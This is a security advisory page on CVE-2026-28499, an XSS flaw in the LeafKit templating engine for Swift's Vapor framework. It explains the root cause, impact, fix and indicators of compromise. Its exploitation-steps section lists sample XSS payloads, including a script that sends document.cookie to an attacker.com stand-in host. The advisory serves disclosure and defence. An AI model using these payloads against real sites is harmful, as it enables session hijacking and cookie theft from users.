CVE-2026-28499
Swift vulnerability analysis and mitigation

Overview

CVE-2026-28499 is a Cross-Site Scripting (XSS) vulnerability in LeafKit, the Swift-based templating engine used by the Vapor web framework. The flaw causes HTML escaping to be silently bypassed when a Leaf template renders a collection type (Array or Dictionary) via the #(value) syntax, allowing untrusted input to be output unescaped into HTML pages. All versions of LeafKit prior to 1.14.2 are affected. The vulnerability was reported by researcher iCMDdev, published as a GitHub Security Advisory on March 14, 2026, and assigned a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 6.9 (Medium) (GitHub Advisory).

Technical details

The root cause is improper output encoding (CWE-116 / CWE-79 / CWE-80) in LeafData.htmlEscaped(). When LeafKit serializes a template expression, it calls htmlEscaped() on the resolved LeafData value; this method attempts to convert the data to a String before escaping. However, the internal convert(to:) function treats .array and .dictionary conversions to .string as .ambiguous, causing the conversion to return nil. When nil is returned, htmlEscaped() falls back to returning the original, unescaped self, which is then serialized directly into the HTML output. The fix in commit 6044b84 changes the call to self.convert(to: .string, .ambiguous).string, explicitly permitting ambiguous conversions so that collection values are properly stringified and escaped before rendering (GitHub Advisory, Fix Commit).

Impact

Successful exploitation allows an unauthenticated attacker to inject arbitrary HTML and JavaScript into pages rendered by a vulnerable Vapor/Leaf application, executing code in the browsers of users who view those pages. Potential consequences include session cookie theft, credential harvesting, unauthorized actions performed on behalf of authenticated users, and redirection to malicious sites. The vulnerability is scoped to the subsequent (client-side) system — the server itself is not directly compromised — but any Vapor/Leaf application that reflects user-controlled data inside arrays or dictionaries via #(value) is at risk (GitHub Advisory).

Exploitability

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, consisting of complete, runnable Swift/Vapor code that demonstrates XSS triggering via array and dictionary rendering in a Leaf template (GitHub Advisory). No authentication or special privileges are required; exploitation only requires that a victim user loads a page containing attacker-controlled collection data. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.045% (4th percentile), indicating a low current probability of active exploitation (GitHub Advisory).

Exploitation steps

  1. Identify a target application: Locate a Vapor web application using LeafKit < 1.14.2 that renders user-controlled data inside an Array or Dictionary via the #(value) Leaf template syntax (e.g., a profile page, search results, or any endpoint that reflects user input into a collection).
  2. Craft a malicious payload: Prepare an XSS payload to be injected as a value within a collection, for example: <img src=x onerror=alert(document.cookie)> or <script>fetch('https://attacker.com/?c='+document.cookie)</script>.
  3. Submit the payload: Supply the malicious string as user-controlled input that will be stored or reflected into an Array or Dictionary rendered by the Leaf template (e.g., via a form submission, API call, or URL parameter that populates a [String: String] dictionary passed to req.view.render()).
  4. Trigger victim rendering: Cause a victim user (e.g., an authenticated user or administrator) to load the page that renders the collection containing the payload. This can be done via social engineering, a shared link, or a stored XSS scenario where the payload persists in the application's data.
  5. Achieve JavaScript execution: Because LeafKit fails to HTML-escape the collection values, the raw payload is written into the HTML response. The victim's browser parses and executes the injected script, enabling cookie theft, session hijacking, or other client-side attacks (GitHub Advisory).

Indicators of compromise

  • Network: Unexpected outbound HTTP requests from user browsers to attacker-controlled domains (e.g., fetch or XMLHttpRequest calls to external IPs) originating from pages served by the Vapor application.
  • Logs: Web server access logs showing requests containing HTML/JavaScript special characters (<, >, script, onerror, alert) in parameters that are subsequently stored or reflected into collection-typed template variables.
  • Logs: Application logs recording unusual or malformed string values being passed into [String: String] or [String] data structures rendered via Leaf templates.
  • File System: If the XSS is used to deliver a secondary payload, look for unexpected files downloaded or created by browser processes on client machines.
  • Process/Browser: Client-side browser developer console errors or unexpected JavaScript execution alerts (e.g., alert(1337)) on pages that render collection data, which may indicate active probing or exploitation (GitHub Advisory).

Mitigation and workarounds

The primary remediation is to upgrade LeafKit to version 1.14.2 or later, which properly HTML-escapes collection (Array/Dictionary) values during template serialization (LeafKit Release). If immediate patching is not possible, developers should sanitize all user-controlled data before inserting it into collections that will be rendered in Leaf templates, or avoid rendering untrusted collection data via the #(value) syntax until the upgrade is applied. Vapor projects using Swift Package Manager should update their Package.swift dependency to require leaf-kit >= 1.14.2 (GitHub Advisory).

Community reactions

The vulnerability was reported by security researcher iCMDdev and remediated by the Vapor core team (gwynne as developer, 0xTim as reviewer). The release notes for version 1.14.2 explicitly flag it as a security update and credit iCMDdev for the responsible disclosure (LeafKit Release). No significant broader media coverage or notable community controversy has been observed beyond the standard advisory publication.

Additional resources


SourceThis report was generated using AI

Related Swift vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-28975MEDIUM6.9
  • Swift logoSwift
  • SwiftNIOExtras
NoYesJun 12, 2026
CVE-2026-47121MEDIUM6.1
  • Swift logoSwift
  • sparkle
NoYesJul 21, 2026
CVE-2026-64785MEDIUM5.3
  • Swift logoSwift
  • swift-nio-http2
NoYesJul 23, 2026
CVE-2026-28898MEDIUM5.3
  • Swift logoSwift
  • SwiftNIOHPACK
NoYesJun 25, 2026
CVE-2026-47122MEDIUM4.2
  • Swift logoSwift
  • sparkle
NoNoJul 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management